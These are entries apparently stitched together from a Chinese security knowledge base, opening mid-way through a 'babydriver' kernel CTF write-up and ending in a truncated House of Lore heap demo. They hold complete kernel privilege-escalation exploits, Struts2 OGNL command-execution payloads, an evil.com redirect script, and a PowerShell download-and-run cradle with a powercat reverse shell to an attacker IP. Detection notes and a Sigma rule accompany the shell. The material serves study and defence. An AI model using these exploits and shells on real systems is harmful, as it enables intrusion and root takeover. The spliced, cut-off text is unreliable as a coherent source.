}
```
**babyread:** 先检查长度是否小于 babydev\_struct.device\_buf\_len,然后把 babydev\_struct.device\_buf 中的数据拷贝到 buffer 中,buffer 和长度都是用户传递的参数
```C
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
```
**babywrite:** 类似 babyread,不同的是从 buffer 拷贝到全局变量中
```C
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
```
**babyrelease:** 释放空间,没什么好说的
```C
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
```
还有 babydriver\_init() 和 babydriver\_exit() 两个函数分别完成了 **/dev/babydev** 设备的初始化和清理,查一下函数的用法即可,不再分析。
### 思路
没有用户态传统的溢出等漏洞,但存在一个伪条件竞争引发的 UAF 漏洞:
- 如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev\_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的,这样就造成了一个 UAF。
接下来考虑如何通过 UAF 劫持程序执行流,这里我们选择 `tty_struct` 结构体作为 victim object。
在 ```/dev``` 下有一个伪终端设备 ```ptmx``` ,在我们打开这个设备时内核中会创建一个 ```tty_struct``` 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 ``` tty_operations ```。
那么我们不难想到的是我们可以通过 UAF 劫持 ```/dev/ptmx``` 这个设备的 ```tty_struct``` 结构体与其内部的 ```tty_operations``` 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针。
由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与 ```fake tty_operations``` 结构体。
> 结构体 ```tty_struct```位于```include/linux/tty.h``` 中,```tty_operations``` 位于 ```include/linux/tty_driver.h``` 中。
内核中没有类似 ```one_gadget``` 一类的东西,因此为了完成ROP我们还需要进行一次**栈迁移**
使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持 ```tty_operaionts``` 结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:
我们不难观察到,在我们调用```tty_operations->write```时,**其rax寄存器中存放的便是tty\_operations结构体的地址**,因此若是我们能够在内核中找到形如```mov rsp, rax```的gadget,便能够成功地将栈迁移到```tty_operations```结构体的开头。
使用ROPgadget查找相关gadget,发现有两条符合我们要求的gadget:
gdb调试,发现第一条gadget其实等价于```mov rsp, rax ; dec ebx ; ret```:
那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链。
而```tty_operations```结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可:
### Exploit
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);
write(fd3, buf, 0x8);
return 0;
}
```
### Old Solution
这道题在当年的解法是**通过 UAF 修改该进程的 cred 结构体的 uid、gid 为0**,十分简单十分白给。
但是**此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred\_jar 中的 object**,这是因为 cred\_jar 在创建时设置了 `SLAB_ACCOUNT` 标记,在 `CONFIG_MEMCG_KMEM=y` 时(默认开启)**cred\_jar 不会再与相同大小的 kmalloc-192 进行合并**
> 来自内核源码 4.5 `kernel/cred.c`
>
> ```c
> void __init cred_init(void)
> {
> /* allocate a slab in which we can store credentials */
> cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
> SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
> }
> ```
>
> 本题(4.4.72):
>
> ```c
> void __init cred_init(void)
> {
> /* allocate a slab in which we can store credentials */
> cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
> 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
> }
> ```
因此这里考虑介绍更加通用的解法,对旧的解法感兴趣的可以参考如下exp:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
int main(void)
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
ioctl(fd1, 0x10001, 0xa8); /* object to be reused as the child's cred */
close(fd1);
int pid = fork();
if(pid < 0) {
printf("\033[31m\033[1m[x] Unable to fork.\033[0m\n");
return -1;
}
else if(pid == 0) { /* the child to get the UAF cred */
char buf[30];
memset(buf, '\0', sizeof(buf));
write(fd2, buf, 28); /* overwrite uid&gid to 0 directly */
if(getuid() == 0) {
puts("\033[32m\033[1m[+] Successful to get the root.\033[0m\n");
system("/bin/sh");
return 0;
} else {
printf("\033[31m\033[1m[x] Failed to get the root.\033[0m\n");
return -1;
}
}
else { /* the parent */
wait(NULL); /* waiting for the child to be done */
}
return 0;
}
```
## Reference
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x04-Kernel-Heap-Use-After-Free
https://bbs.pediy.com/thread-247054.htm
https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html
http://muhe.live/2017/07/13/babydriver-writeup/
https://www.anquanke.com/post/id/86490
|
sec-knowleage
|
# S2-001 Remote Code Execution Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
## Reference link
[http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
> The vulnerability is that when the user submits the form data and the validation fails, the server parses the parameter values previously submitted by the user with the OGNL expression `%{value}` and repopulates the corresponding form data.For example, in the registration or login page. When submit fail, server will generally return the previously submitted data by default. Since the server uses `%{value}` to execute an OGNL expression parsing on the submitted data, it can send payload directly to execute command.
## Environment setup
Run the following commands to setup
```
docker compose build
docker compose up -d
```
## POC && EXP
Get the tomcat path:
```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
```
Get the web site real path:
```
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
```
Execute command (command with parameter:`new java.lang.String[]{"cat","/etc/passwd"}`):
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```

|
sec-knowleage
|
# 十二、开放重定向漏洞
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
根据 OWASP,开放重定向出现在应用接受参数并将用户重定向到该参数值,并且没有对该值进行任何校验的时候。
这个漏洞用于钓鱼攻击,便于让用户无意中浏览恶意站点,滥用给定站点的信任并将用户引导到另一个站点,恶意站点作为重定向目的地,可以将其准备成合法站点的样子,并尝试收集个人或敏感信息。
> 链接
> 查看 [OWASP 无验证重定向和转发速查表](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
## 示例
### 1\. Shopify 主题安装开放重定向
难度:低
URL:`app.shopify.com/services/google/themes/preview/supply–blue?domain_name=XX`
链接:`https://hackerone.com/reports/1019622`
报告日期:2015.11.25
奖金:$500
描述:
Shopify 的平台允许商店管理员自定义商店外观。为此,管理员需要安装主题。这里的漏洞时,主题安装页面会解释重定向参数,并向用户浏览器返回 301 重定向,而不验证重定向的目标。
因此,如果用户访问`https://app.shopify.com/services/google/themes/preview/supply– blue?domain_name=example.com`,它会重定向到`http://example.com/admin`。
恶意用户能够在该域部署站点,并尝试对无意识的用户执行钓鱼攻击。
> 重要结论
> 我这里再说一遍,不是所有漏洞都很复杂。这里的开放重定向只需要将重定向参数修改为外部站点。
### 2\. Shopify 登录开放重定向
难度:中
URL:`http://mystore.myshopify.com/account/login`
报告链接:`https://hackerone.com/reports/103772`
报告日期:2015.12.6
奖金:$500
描述:
这个开放重定向非常类似于上面讨论的主题安装漏洞,但是这里。漏洞在用户登录,并且使用参数`?checkout_url`之后出现。例如:
http://mystore.myshopify.com/account/login?checkout_url=.np
因此,当用户访问链接并登录,它会被重定向到:
https://mystore.myshopify.com.np/
它实际上完全不是 Shopify 的域。
### 3\. HackerOne 间隔重定向
难度:中
URL:无
报告链接:https://hackerone.com/reports/111968
报告日期:2016.1.20
奖金:$500
描述:
这里的间隔重定向指代一些重定向,在重定向期间不发生停顿,来告诉你你正在被重定向。
HackerOne 实际上在报告中提供了该漏洞的纯语言描述:
> `hackerone.com`连接被视为可信连接,包括`/zendesk_session`前面的那些。任何人都可以创建自定义的 Zendesk 账户,它会重定向到不可信的站点,并在`/redirect_to_account?state= param;`提供该功能。并且由于 Zendesk 允许账户之间的非间隔重定向,你会被引导到任何不可信站点,而没有任何警告。
> 了解 Zendesk 的原始问题之后,我们选择将带有`zendesk_session`的链接视为外部链接,点击时会渲染一个外部的图标和间隔警告页面。
所以这里,Mahmoud Jamal(是的,和 Google XSS 漏洞中的人一样)创建了`company.zendesk.com`并将:
```html
<script>document.location.href = "http://evil.com";</script>
```
通过 Zendesk 的主题编辑器添加到了头文件中。之后,传递这个链接:
```
https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hackerone.com/ping/redirect_to_account?state=company:/
```
它用于重定向到生成的 Zendesk 会话。
现在,有趣的是,Mahmoud 向 Zendesk 报告了这个重定向个问题,Zendesk 说他并没有看到任何问题。所以,自然而然,它继续挖掘这个漏洞,看看如何才能利用。
> 重要结论
> 我们在应用逻辑一章中讨论了它,但它重复出现在这里,在你搜索漏洞时,要注意站点所使用的的服务,因为在你的搜索过程中,它们每个都代表一种新的攻击向量。这里,这个漏洞可以通过组合 Zendesk 的 HackerOne 使用方法,以及已知的所允许的重定向来实现。
> 此外,在你寻找 bug 时,阅读和回应你的报告的人有时不能马上理解安全影响。这就是我在漏洞报告中编写这一章的原因。如果你往前推进一小步,并且在你的报告中解释安全映像,它会确保顺利解决。
> 但是,即使是这样,公司有时候也会不理解你。如果是这样,像 Mahmoud 所做的一样,保持挖掘,并看看是否可以证明它可以利用,或者将其和其它漏洞组合来展示影响。
## 总结
开放重定向个允许恶意攻击者将人们重定向到未知的恶意站点。就像这些例子展示的那样,寻找他们需要锐利的观察。有时会出现易于发现的`redirect_to=`,`domain_name=`,`checkout_url=`,以及其它。这种类型的漏洞依赖信任的滥用,其中受害者被诱导来访问攻击者的站点,并认为他们正在浏览他们认可的站点。
通常,当 URL 作为参数传递给 Web 请求时,你可以发现它们。要留意并玩转 URL 地址,以便观察是否接受外部站点的链接。
此外,HackerOne 间隔重定向展示了二者的重要性。当你寻找漏洞时,识别站点所用的工具和服务,以及有时在被认可和接受之前,你需要坚持并清晰展示漏洞。
|
sec-knowleage
|
# T1059-win-基于白名单Powershell.exe执行Payload
## 来自ATT&CK的描述
命令行界面是与计算机系统交互的一种方式,并且是很多操作系统平台的常见特性。例如,Windows系统上的命令行界面cmd可用于执行许多任务,包括执行其他软件。命令行界面可在本地交互或者通过远程桌面应用、反向shell会话等远程交互。执行的命令以命令行界面进程的当前权限级别运行,除非该命令需要调用进程来更改权限上下文(例如,定时任务)。
攻击者可能会使用命令行界面与系统交互并在操作过程中执行其他软件。
## 测试案例
您可以使用PowerShell.exe从另一个工具(例如Cmd.exe)的命令行启动PowerShell会话,也可以在PowerShell命令行启动新会话。从此处阅读Microsoft Windows官方网站上的更多信息。
补充说明:在高版本powershell(V5以上含V5)中,可以通过配置策略,对进程命令行参数进行记录,具体策略可参考[powershell事件](https://github.com/12306Bro/Hunting-guide/blob/master/Powershell-id.md)。同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
## 检测日志
windows 安全日志/SYSMON日志(需要自行安装)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:win7(sysmon)
### 攻击分析
#### 生成payload
下载我们本次测试中要用到的powercat,下载地址:<https://github.com/besimorhino/powercat>
#### 开启小型http服务
powercat目录下执行以下命令:
```bash
root@12306Br0:~# python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```
#### 执行监听
```bash
nc -lvp 1234
```
#### 靶机执行payload
```cmd
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd"
```
#### 反弹shell
```bash
root@12306Br0:/# nc -lvp 1234
listening on [any] 1234 ...
192.168.126.149: inverse host lookup failed: Unknown host
connect to [192.168.126.146] from (UNKNOWN) [192.168.126.149] 49339
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
```
## 测试留痕
```log
#sysmon日志
EventID: 1
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd"
#win7安全日志
EventID: 4688
进程信息:
新进程 ID: 0x330
新进程名: C:\Windows\System32\cmd.exe
令牌提升类型: TokenElevationTypeLimited (3)
EventID: 4688
进程信息:
新进程 ID: 0xa44
新进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
#Powershell V5(含V5以上)配置审核策略,可以达到记录命令行参数的效果。通过命令行参数进行监控分析。当然也可以采用配置windows server 2008(不含2008)以上审核进程创建策略,同样也可以对命令行参数进行记录,最后达到监控效果。
```
## 检测规则/思路
### sigma规则
```yml
title: PowerShell通过url进行下载
status: experimental
description: 检测在命令行字符串中包含下载命令的Powershell进程
tags:
- attack.t1086
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\powershell.exe'
CommandLine:
- '*new-object system.net.webclient).downloadstring(*'
- '*new-object system.net.webclient).downloadfile(*'
- '*new-object net.webclient).downloadstring(*'
- '*new-object net.webclient).downloadfile(*'
condition: selection
fields:
- CommandLine
- ParentCommandLine
falsepositives:
- unknown
level: medium
```
### 建议
可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略/sysmon。
## 相关TIP
[[T1059-001-win-检测PowerShell2.0版本执行]]
[[T1059-001-win-检测PowerShell下载文件]]
[[T1059-004-linux-脚本]]
[[T1059-win-基于Certutil.exe执行Payload(白名单)]]
[[T1059-win-基于Ftp.exe执行Payload(白名单)]]
[[T1059-win-进程生成CMD]]
## 参考推荐
MITRE-ATT&CK-T1059-001
<https://attack.mitre.org/techniques/T1059/001/>
|
sec-knowleage
|
### 哈希函数概述
哈希函数(Hash Function)把消息或数据压缩成摘要,使得数据量变小。其一般模型如下
显然对于任何一个hash值,理论上存在若干个消息与之对应,即碰撞。
哈希函数的基本需求如下
| 需求 | 描述 |
| ------ | ---------------------------------------- |
| 输入长度可变 | hash函数可以应用于任意长度的数据 |
| 输出长度固定 | hash函数的输出长度固定 |
| 效率 | 对于任意消息 $x$,计算 $H(x)$ 很容易 |
| 单向性 | 对于任意哈希值h,想要找到满足$H(x)=h$ 的x在计算上不可行。 |
| 抗弱碰撞性 | 对于任意消息x,找到满足另一消息y,满足$H(x)=H(y)$ ,在计算上不可行。 |
| 抗强碰撞性 | 找到任意一对满足 $H(x)=H(y)$ 的消息x和y在计算上不可行。 |
| 伪随机性 | 哈希函数的输出满足伪随机性测试标准。 |
散列值的目的如下
- 确保消息的完整性,即确保收到的数据确实和发送时的一样(即没有修改、插入、删除或重放),防止中间人篡改。
- 冗余校验
- 单向口令文件,比如linux系统的密码
- 入侵检测和病毒检测中的特征码检测
目前的Hash函数主要有MD5,SHA1,SHA256,SHA512。目前的大多数hash函数都是迭代性的,即使用同一个hash函数,不同的参数进行多次迭代运算。
| 算法类型 | 输出 Hash 值长度 |
| ------ | ----------------- |
| MD5 | 128 bit |
| SHA1 | 160 bit |
| SHA256 | 256 bit |
| SHA512 | 512 bit |
|
sec-knowleage
|
# 证书格式
## PEM
PEM 以 `-----BEGIN` 开头,以 `-----END` 结尾,中间包含 ASN.1 格式的数据。ASN.1 是经过 base64 转码的二进制数据。[Wikipedia](https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail) 上有完整 PEM 文件的例子。
用 Python 3 和 PyCryptodome 库可以与 PEM 文件交互并提取相关数据。例如我们想提取出模数 `n`:
```py
#!/usr/bin/env python3
from Crypto.PublicKey import RSA
with open("certificate.pem","r") as f:
key = RSA.import_key(f.read())
print(key.n)
```
## DER
DER 是 ASN.1 类型的二进制编码。后缀 `.cer` 或 `.crt` 的证书通常包含 DER 格式的数据,但 Windows 也可能会接受 PEM 格式的数据。
我们可以用 `openssl` 将 PEM 文件转化为 DER 文件:
```bash
openssl x509 -inform DER -in certificate.der > certificate.pem
```
现在问题被简化成了如何读取 PEM 文件,所以我们可以重复使用上一小节中的 Python 代码。
## 其他格式转换
```bash
openssl x509 -outform der -in certificate.pem -out certificate.der
openssl x509 -inform der -in certificate.cer -out certificate.pem
```
## 引用
1. [Attacking RSA for fun and CTF points – part 1](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/)
2. [What are the differences between .pem, .cer and .der?](https://stackoverflow.com/questions/22743415/what-are-the-differences-between-pem-cer-and-der)
|
sec-knowleage
|
### [第七十一课:基于白名单Msbuild.exe执行payload第一季](../Chapter1/71-80/71_基于白名单Msbuild.exe执行payload第一季.md)
### [第七十二课:基于白名单Installutil.exe执行payload第二季](../Chapter1/71-80/72_基于白名单Installutil.exe执行payload第二季.md)
### [第七十三课:基于白名单Regasm.exe执行payload第三季](../Chapter1/71-80/73_基于白名单Regasm.exe执行payload第三季.md)
### [第七十四课:基于白名单Regsvcs.exe执行payload第四季 ](../Chapter1/71-80/74_基于白名单regsvcs.exe执行payload第四季.md)
### [第七十五课:基于白名单Mshta.exe执行payload第五季](../Chapter1/71-80/75_基于白名单Mshta.exe执行payload第五季.md)
### [第七十六课:基于白名单Compiler.exe执行payload第六季](../Chapter1/71-80/76_基于白名单Compiler.exe执行payload第六季.md)
### [第七十七课:基于白名单Csc.exe执行payload第七季](../Chapter1/71-80/77_基于白名单Csc.exe执行payload第七季.md)
### [第七十八课:基于白名单Msiexec执行payload第八季](../Chapter1/71-80/78_基于白名单Msiexec执行payload第八季.md)
### [第七十九课:基于白名单Regsvr32执行payload第九季](../Chapter1/71-80/79_基于白名单Regsvr32执行payload第九季.md)
### [第八十课:基于白名单Wmic执行payload第十季](../Chapter1/71-80/80_基于白名单Wmic执行payload第十季.md)
|
sec-knowleage
|
# Python 代码审计
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关工具**
- [PyCQA/bandit](https://github.com/PyCQA/bandit) - Bandit is a tool designed to find common security issues in Python code.
```bash
pip3 install bandit
bandit -r path/to/your/code
```
**相关资源**
- [MisakiKata/python_code_audit](https://github.com/MisakiKata/python_code_audit)
- [bit4woo/python_sec](https://github.com/bit4woo/python_sec)
---
## 信息泄漏
**描述**
部分功能点开发者会采用 `print` 或者 `logging` 来输出调试日志。在实际生产环境中需要清除,特别是关键处的错误异常输出。对没必要的异常显示,需要做异常处理显示或者禁止异常输出。
---
## 硬编码
**通用关键词**
- [APIkey/密钥信息通用关键词](../信息收集/信息收集.md#通用关键词)
---
## 代码注入 & 命令执行
**审计函数**
```
exec
execfile
eval
os.system
os.popen
commands.getstatusoutput
commands.getoutput
commands.getstatus
subprocess
paramiko
```
---
## 依赖安全
**相关工具**
- [pyupio/safety](https://github.com/pyupio/safety) - Safety checks Python dependencies for known security vulnerabilities and suggests the proper remediations for vulnerabilities detected.
```bash
pip3 install safety
# 扫描整个环境
safety check
#仅检查当前项目的依赖项
safety check -r requirements.txt
# 检查某一个依赖项
echo "insecure-package==0.1" | safety check --stdin
```
---
## SSRF
**审计函数**
```
pycurl
urllib
urllib3
requests
```
**相关文章**
- https://github.com/MisakiKata/python_code_audit/blob/master/SSRF.md
---
## 反序列化
**审计函数**
```
marshal
PyYAML
pickle
cpickle
shelve
PIL
```
**相关文章**
- https://github.com/MisakiKata/python_code_audit/blob/master/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md
|
sec-knowleage
|
# House of Lore
## 概述
House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。
House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。
House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。
## 基本原理
如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下
```c
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}
```
从下面的这部分我们可以看出
```c
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
```
如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。
## 示例代码
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");
